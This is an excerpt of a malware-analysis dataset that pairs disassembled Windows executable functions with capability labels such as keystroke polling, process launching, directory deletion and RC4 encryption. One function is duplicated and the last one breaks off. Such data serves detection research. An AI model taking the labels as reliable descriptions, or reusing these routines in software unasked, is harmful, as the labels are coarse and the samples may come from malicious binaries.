joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4025fa
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
mov esi, dword [ebp + 8]
mov ebx, dword [esi + 8]
test bl, 3
jne 0x402628
mov eax, dword fs:[0x18]
mov dword [ebp + 8], eax
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 8]
cmp ebx, ecx
mov dword [ebp - 4], ecx
jb 0x40262f
cmp ebx, dword [eax + 4]
jae 0x40262f
xor eax, eax
jmp 0x40281f
push edi
mov edi, dword [esi + 0xc]
cmp edi, 0xffffffff
jne 0x402640
xor eax, eax
inc eax
jmp 0x40281e
xor edx, edx
mov dword [ebp + 8], edx
mov eax, ebx
mov ecx, dword [eax]
cmp ecx, 0xffffffff
je 0x402656
cmp ecx, edx
jae 0x40279b
cmp dword [eax + 4], 0
je 0x40265f
inc dword [ebp + 8]
inc edx
add eax, 0xc
cmp edx, edi
jbe 0x402647
cmp dword [ebp + 8], 0
je 0x402681
mov eax, dword [esi - 8]
cmp eax, dword [ebp - 4]
jb 0x40279b
cmp eax, esi
jae 0x40279b
mov eax, dword [0x4074f8]
mov edi, ebx
and edi, 0xfffff000
xor esi, esi
test eax, eax
jle 0x4026a6
cmp dword [esi*4 + 0x407500], edi
je 0x40279f
inc esi
cmp esi, eax
jl 0x402694
push 0x1c
lea eax, [ebp - 0x20]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x40281b
cmp dword [ebp - 8], 0x1000000
jne 0x40281b
test byte [ebp - 0xc], 0xcc
je 0x402724
mov ecx, dword [ebp - 0x1c]
cmp word [ecx], 0x5a4d
jne 0x40281b
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x40281b
cmp word [eax + 0x18], 0x10b
jne 0x40281b
sub ebx, ecx
cmp word [eax + 6], 0
movzx ecx, word [eax + 0x14]
lea ecx, [ecx + eax + 0x18]
jbe 0x40281b
mov eax, dword [ecx + 0xc]
cmp ebx, eax
jb 0x402724
mov edx, dword [ecx + 8]
add edx, eax
cmp ebx, edx
jae 0x402724
test byte [ecx + 0x27], 0x80
jne 0x40279b
push 1
push 0x407540
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
test eax, eax
jne 0x402638
mov ecx, dword [0x4074f8]
test ecx, ecx
mov edx, ecx
jle 0x402758
lea eax, [ecx*4 + 0x4074fc]
cmp dword [eax], edi
je 0x402758
dec edx
sub eax, 4
test edx, edx
jg 0x40274c
test edx, edx
jne 0x402789
push 0xf
pop ebx
cmp ecx, ebx
jg 0x402765
mov ebx, ecx
xor edx, edx
test ebx, ebx
jl 0x40277d
lea eax, [edx*4 + 0x407500]
mov esi, dword [eax]
inc edx
cmp edx, ebx
mov dword [eax], edi
mov edi, esi
jle 0x40276b
cmp ecx, 0x10
jge 0x402789
inc ecx
mov dword [0x4074f8], ecx
push 0
push 0x407540
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
jmp 0x402638
xor eax, eax
jmp 0x40281e
test esi, esi
jle 0x402638
mov ebx, dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push 1
push 0x407540
call ebx
test eax, eax
jne 0x402638
cmp dword [esi*4 + 0x407500], edi
je 0x4027f5
mov eax, dword [0x4074f8]
lea esi, [eax - 1]
test esi, esi
jl 0x4027e3
cmp dword [esi*4 + 0x407500], edi
je 0x4027df
dec esi
jns 0x4027d3
test esi, esi
jge 0x4027f3
cmp eax, 0x10
jge 0x4027ee
inc eax
mov dword [0x4074f8], eax
lea esi, [eax - 1]
jmp 0x4027f5
je 0x40280d
xor ecx, ecx
test esi, esi
jl 0x40280d
lea eax, [ecx*4 + 0x407500]
mov edx, dword [eax]
inc ecx
cmp ecx, esi
mov dword [eax], edi
mov edi, edx
jle 0x4027fb
push 0
push 0x407540
call ebx
jmp 0x402638
or eax, 0xffffffff
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40490c
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
push ebx
push esi
push edi
push 4
pop eax
call fcn.00402110
mov esi, esp
push 0x1c
lea eax, [ebp - 0x28]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x4049a7
mov ebx, dword [ebp - 0x24]
lea eax, [ebp - 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [ebp - 0x48]
mov eax, dword [0x40738c]
lea edi, [ecx - 1]
not edi
and edi, esi
sub edi, ecx
mov esi, eax
dec esi
neg esi
sbb esi, esi
and esi, 0xfffffff1
add esi, 0x11
imul esi, ecx
add esi, ebx
cmp edi, esi
mov dword [ebp - 8], ecx
jb 0x4049a7
cmp eax, 1
je 0x4049c8
mov dword [ebp - 4], ebx
mov ebx, 0x1000
push 0x1c
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x4049a7
mov eax, dword [ebp - 0x1c]
add dword [ebp - 4], eax
test dword [ebp - 0x18], ebx
je 0x404974
test byte [ebp - 0x13], 1
mov eax, dword [ebp - 0x28]
mov dword [ebp - 4], eax
je 0x4049a3
xor eax, eax
inc eax
jmp 0x4049e7
cmp edi, eax
jae 0x4049ab
xor eax, eax
jmp 0x4049e7
cmp eax, esi
jae 0x4049b2
mov dword [ebp - 4], esi
push 4
push ebx
push dword [ebp - 8]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov eax, dword [0x40738c]
jmp 0x4049cb
mov dword [ebp - 4], edi
dec eax
neg eax
sbb eax, eax
and eax, 0x103
lea ecx, [ebp - 0xc]
push ecx
inc eax
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea esp, [ebp - 0x58]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x405f8f
Capabilities:
Delete directory
Get common file path
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x860
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov edi, dword [eax]
mov eax, dword [eax + 4]
xor esi, esi
cmp dword [0x4dffe0], 0x594
mov dword [ebp - 0x14], edi
mov dword [ebp - 0xc], eax
jne 0x405fd0
push esi
call dword [sym.imp.KERNEL32.dll_DeleteVolumeMountPointA]
push 0x405900
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalAddAtomA]
mov eax, dword [0x42f768]
mov dword [ebp - 0x20], eax
mov eax, dword [0x42f76c]
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 8]
mov dword [ebp - 8], esi
call fcn.00405f88
mov eax, dword [0x42f770]
mov ebx, dword [ebp - 8]
mov dword [ebp - 0x24], eax
mov eax, dword [0x42f774]
add ebx, 0x23f
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x18], 0x20
jmp 0x406010
mov edi, dword [ebp - 0x14]
mov dword [ebp - 8], 2
add dword [ebp - 8], 3
mov eax, edi
shl eax, 4
cmp dword [0x4dffe0], 0xc
mov dword [ebp - 4], eax
jne 0x40604e
push esi
lea eax, [ebp - 0x860]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
lea eax, [ebp - 0x2c]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputW]
mov eax, dword [ebp - 0x24]
add dword [ebp - 4], eax
mov eax, dword [0x4dffe0]
cmp eax, 0xfa9
jne 0x40606a
mov dword [0x4df57c], 0xedeb2e40
cmp eax, 0x3eb
jne 0x406077
mov dword [0x4def30], esi
mov ecx, dword [ebp - 8]
mov edx, edi
shr edx, cl
lea eax, [ebx + edi]
mov dword [ebp - 0x10], eax
mov dword [0x4df578], 0xf4ea3dee
add edx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x10]
xor dword [ebp - 4], eax
xor edx, dword [ebp - 4]
cmp dword [0x4dffe0], 0x213
mov dword [ebp - 0x10], edx
jne 0x4060b1
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov eax, dword [ebp - 0x10]
add dword [ebp - 0xc], 0x64
sub dword [ebp - 0xc], eax
sub dword [ebp - 0xc], 0x64
cmp dword [0x4dffe0], 0xc
jne 0x406110
lea eax, [ebp - 0x10]
push eax
push esi
push esi
lea eax, [ebp - 0x30]
push eax
push esi
push esi
push esi
mov dword [ebp - 0x10], esi
call dword [sym.imp.KERNEL32.dll_BackupRead]
xor eax, eax
mov dword [ebp - 0x44], esi
lea edi, [ebp - 0x40]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x60]
push eax
push 0x405914
call dword [sym.imp.KERNEL32.dll_BuildCommDCBAndTimeoutsA]
push esi
lea eax, [ebp - 0x460]
push eax
push 0x405928
call dword [sym.imp.KERNEL32.dll_GetVolumePathNameA]
mov eax, dword [ebp - 0xc]
shl eax, 4
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x20]
add dword [ebp - 4], eax
mov edx, dword [ebp - 0xc]
mov ecx, dword [ebp - 8]
mov eax, edx
shr eax, cl
lea edi, [ebx + edx]
add ebx, 0x61c88647
add eax, dword [ebp - 0x1c]
xor eax, edi
xor dword [ebp - 4], eax
mov eax, dword [ebp - 4]
sub dword [ebp - 0x14], eax
dec dword [ebp - 0x18]
jne 0x40600d
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x14]
pop edi
pop esi
mov dword [eax], ecx
mov dword [eax + 4], edx
pop ebx
leave
ret 4
Function at 0x40615b
Capabilities:
Create pipe
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x4dffe0]
mov ecx, dword [0x4def34]
sub esp, 0xe84
push ebx
push esi
shr eax, 3
xor esi, esi
push edi
cmp eax, esi
jbe 0x40625e
mov ebx, ecx
mov dword [ebp - 8], eax
cmp dword [0x4dffe0], 0x959
jne 0x40624c
lea eax, [ebp - 0x18]
push eax
push esi
lea eax, [ebp - 0x2c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputA]
xor eax, eax
mov word [ebp - 4], ax
lea edi, [ebp - 2]
stosw word es:[edi], ax
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 4]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FillConsoleOutputCharacterW]
push esi
push esi
lea eax, [ebp - 0x680]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesA]
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
push esi
call dword [sym.imp.KERNEL32.dll_GetPriorityClass]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleWindowInfo]
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
lea eax, [ebp - 0x280]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
push 0x405940
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenWaitableTimerW]
push esi
push esi
push esi
push esi
push esi
push esi
push 0x405960
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push esi
lea eax, [ebp - 0xe80]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
lea eax, [ebp - 0x10]
push eax
mov dword [ebp - 0x10], esi
mov dword [ebp - 0xc], esi
call dword [sym.imp.KERNEL32.dll_InterlockedFlushSList]
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push ebx
call fcn.00405f8f
add ebx, 8
dec dword [ebp - 8]
jne 0x406184
pop edi
pop esi
pop ebx
leave
ret
Function at 0x406255
Capabilities:
Create pipe
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x4dffe0]
mov ecx, dword [0x4def34]
sub esp, 0xe84
push ebx
push esi
shr eax, 3
xor esi, esi
push edi
cmp eax, esi
jbe 0x40625e
mov ebx, ecx
mov dword [ebp - 8], eax
cmp dword [0x4dffe0], 0x959
jne 0x40624c
lea eax, [ebp - 0x18]
push eax
push esi
lea eax, [ebp - 0x2c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputA]
xor eax, eax
mov word [ebp - 4], ax
lea edi, [ebp - 2]
stosw word es:[edi], ax
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 4]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FillConsoleOutputCharacterW]
push esi
push esi
lea eax, [ebp - 0x680]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesA]
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
push esi
call dword [sym.imp.KERNEL32.dll_GetPriorityClass]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleWindowInfo]
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
lea eax, [ebp - 0x280]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
push 0x405940
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenWaitableTimerW]
push esi
push esi
push esi
push esi
push esi
push esi
push 0x405960
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push esi
lea eax, [ebp - 0xe80]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
lea eax, [ebp - 0x10]
push eax
mov dword [ebp - 0x10], esi
mov dword [ebp - 0xc], esi
call dword [sym.imp.KERNEL32.dll_InterlockedFlushSList]
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push ebx
call fcn.00405f8f
add ebx, 8
dec dword [ebp - 8]
jne 0x406184
pop edi
pop esi
pop ebx
leave
ret
Function at 0x408d3b
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42e718]
jne 0x408d45
repz ret
jmp fcn.0041112c

Function at 0x412ea7
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0040a4bd
and dword [ebp - 4], 0
cmp dword [0x430b28], 0
mov ebx, eax
jne 0x412f58
push 0x40394c
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x413009
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x403940
push edi
call esi
test eax, eax
je 0x413009
push eax
call fcn.0040a44b
mov dword [esp], 0x403930
push edi
mov dword [0x430b28], eax
call esi
push eax
call fcn.0040a44b
mov dword [esp], 0x40391c
push edi
mov dword [0x430b2c], eax
call esi
push eax
call fcn.0040a44b
mov dword [esp], 0x403900
push edi
mov dword [0x430b30], eax
call esi
push eax
call fcn.0040a44b
pop ecx
mov dword [0x430b38], eax
test eax, eax
je 0x412f58
push 0x4038e8
push edi
call esi
push eax
call fcn.0040a44b
pop ecx
mov dword [0x430b34], eax
mov eax, dword [0x430b34]
cmp eax, ebx
je 0x412fb0
cmp dword [0x430b38], ebx
je 0x412fb0
push eax
call fcn.0040a4c6
push dword [0x430b38]
mov esi, eax
call fcn.0040a4c6
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x412fb0
test edi, edi
je 0x412fb0
call esi
test eax, eax
je 0x412fa7
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x412fa7
test byte [ebp - 0xc], 1
jne 0x412fb0
or dword [ebp + 0x10], 0x200000
jmp 0x412fe9
mov eax, dword [0x430b2c]
cmp eax, ebx
je 0x412fe9
push eax
call fcn.0040a4c6
pop ecx
test eax, eax
je 0x412fe9
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x412fe9
mov eax, dword [0x430b30]
cmp eax, ebx
je 0x412fe9
push eax
call fcn.0040a4c6
pop ecx
test eax, eax
je 0x412fe9
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x430b28]
call fcn.0040a4c6
pop ecx
test eax, eax
je 0x413009
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x41300b
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40a2c0
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x46a2cb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.0045ede9
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x40a342
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.0045cd00
mov eax, dword [eax]
push 0x4851f0
push eax
call fcn.0044f934
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.0045f074
test bl, bl
je 0x40a342
push 0x4851f0
lea ecx, [esp + 0xc]
call fcn.0045f404
push 0x488d6c
lea ecx, [esp + 0xc]
call fcn.0045f404
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x40a37e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.0045f074
jmp 0x40a449
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x40a402
lea edx, [esp + 0x7c]
push 0x488d68
push edx
call fcn.0044f934
add esp, 8
test eax, eax
je 0x40a402
lea eax, [esp + 0x7c]
push 0x488d64
push eax
call fcn.0044f934
add esp, 8
test eax, eax
je 0x40a402
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x40a392
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.0045f074
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x40ac40
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x40aca2
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x40acb0
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x46a34b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x48f6b0]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x40ade8
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x40ad16
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0045f074
xor eax, eax
jmp 0x40ae5f
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.0045f1b1
push esi
lea ecx, [esp + 0xc]
call fcn.0045f440
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push 0x488da4
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x40ae3d
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push closesocket
call fcn.0040ac40
test eax, eax
jne 0x40ae3d
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push closesocket
mov ecx, edi
call fcn.0040ac40
test eax, eax
jne 0x40ae3d
lea eax, [esp + 0x14]
push 0x488d80
push eax
call fcn.00450970
mov esi, eax
add esp, 8
test esi, esi
jne 0x40ae1c
lea ecx, [esp + 0x14]
push 0x488d7c
push ecx
call fcn.004508f0
mov esi, eax
add esp, 8
test esi, esi
jne 0x40ae1c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x40ae1f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.0045f161
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x40ad2e
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0045f074
xor eax, eax
jmp 0x40ae5f
mov byte [esi], 0
push 0x488d78
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.0045f074
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x41b870
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x41b8de
cmp si, 0x69
ja 0x41b8de
add esi, 0xffd0
cmp si, 0x11
je 0x41b8ae
push 0x11
call edi
test ax, ax
jge 0x41b8ae
or esi, 0x2000
cmp si, 0x10
je 0x41b8c3
push 0x10
call edi
test ax, ax
jge 0x41b8c3
or esi, 0x4000
cmp si, 0x12
je 0x41b8d8
push 0x12
call edi
test ax, ax
jge 0x41b8d8
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x41b8eb
mov esi, 0xbd
jmp 0x41b89f
cmp si, 0x6e
jne 0x41b8f8
mov esi, 0xbe
jmp 0x41b89f
cmp si, 0x6f
jne 0x41b899
mov esi, 0xbf
jmp 0x41b89f

Function at 0x41cf90
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x49fd38]
xor edx, edx
cmp eax, edx
jne 0x41cfb6
xor eax, eax
mov byte [eax + 0x49fc38], al
inc eax
cmp eax, 0x100
jl 0x41cf9e
mov dword [0x49fd38], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x49fc38
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x41d047
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x41d01a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x41cfe8
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x41d0c0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x41d113
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x41d0fa
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x423b50
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x18
mov eax, dword [esp + 0x1c]
push ebx
push ebp
push esi
xor esi, esi
xor ecx, ecx
mov si, word [eax + 8]
mov cx, word [eax + 4]
xor ebp, ebp
xor edx, edx
mov bp, word [eax + 0xa]
mov dx, word [eax + 6]
sub esi, ecx
sub ebp, edx
inc esi
xor ebx, ebx
inc ebp
cmp esi, ebx
mov dword [esp + 0x14], esi
jle 0x423ce8
cmp ebp, ebx
jle 0x423ce8
mov eax, esi
push edi
cdq
and edx, 7
add eax, edx
mov edi, eax
mov eax, esi
sar edi, 3
and eax, 0x80000007
mov dword [esp + 0x10], edi
jns 0x423bae
dec eax
or eax, 0xfffffff8
inc eax
je 0x423bb5
inc edi
mov dword [esp + 0x10], edi
mov ecx, edi
and ecx, reloc.WS2_32.dll_accept
jns 0x423bc4
dec ecx
or ecx, 0xfffffffe
inc ecx
je 0x423bcb
inc edi
mov dword [esp + 0x10], edi
push 0x18
call fcn.0045edb5
add esp, 4
cmp eax, ebx
je 0x423bec
mov dword [eax], ebx
mov dword [eax + 4], ebx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ebx
mov dword [eax + 0x10], ebx
mov dword [eax + 0x14], ebx
mov ebx, eax
mov eax, edi
mov dword [esp + 0x14], ebx
imul eax, ebp
push eax
mov dword [ebx], 7
mov dword [ebx + 4], esi
mov dword [ebx + 8], ebp
mov dword [ebx + 0x14], eax
call fcn.0045edb5
mov ecx, dword [ebx + 0x14]
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebx + 0x10], edi
add esp, 4
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
test ebp, ebp
lea edx, [eax + 0x80]
jle 0x423cde
xor eax, eax
mov dword [esp + 0x20], ebp
mov dword [esp + 0x1c], eax
mov ebp, dword [ebx + 0x10]
xor ecx, ecx
add ebp, eax
mov dword [esp + 0x2c], ecx
test esi, esi
jle 0x423cc5
mov al, byte [edx]
cmp al, 0xc0
jbe 0x423cb1
and eax, 0xff
sub eax, 0xc0
inc edx
mov esi, eax
mov dword [esp + 0x24], edx
cmp esi, 1
jle 0x423ca6
xor eax, eax
mov ecx, esi
mov al, byte [edx]
mov edx, ecx
mov bl, al
mov edi, ebp
mov bh, bl
dec esi
mov eax, ebx
shl eax, 0x10
mov ax, bx
mov ebx, dword [esp + 0x14]
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
mov edx, dword [esp + 0x24]
and ecx, 3
add ebp, esi
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
lea ecx, [eax + esi*8]
mov esi, dword [esp + 0x18]
jmp 0x423cb4
mov al, byte [edx]
mov esi, dword [esp + 0x18]
mov byte [ebp], al
jmp 0x423cb4
mov byte [ebp], al
inc ebp
add ecx, 8
inc edx
cmp ecx, esi
mov dword [esp + 0x2c], ecx
jl 0x423c50
mov eax, dword [esp + 0x1c]
mov edi, dword [esp + 0x10]
mov ecx, dword [esp + 0x20]
add eax, edi
dec ecx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], ecx
jne 0x423c41
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x18
ret
pop esi
pop ebp
xor eax, eax
pop ebx
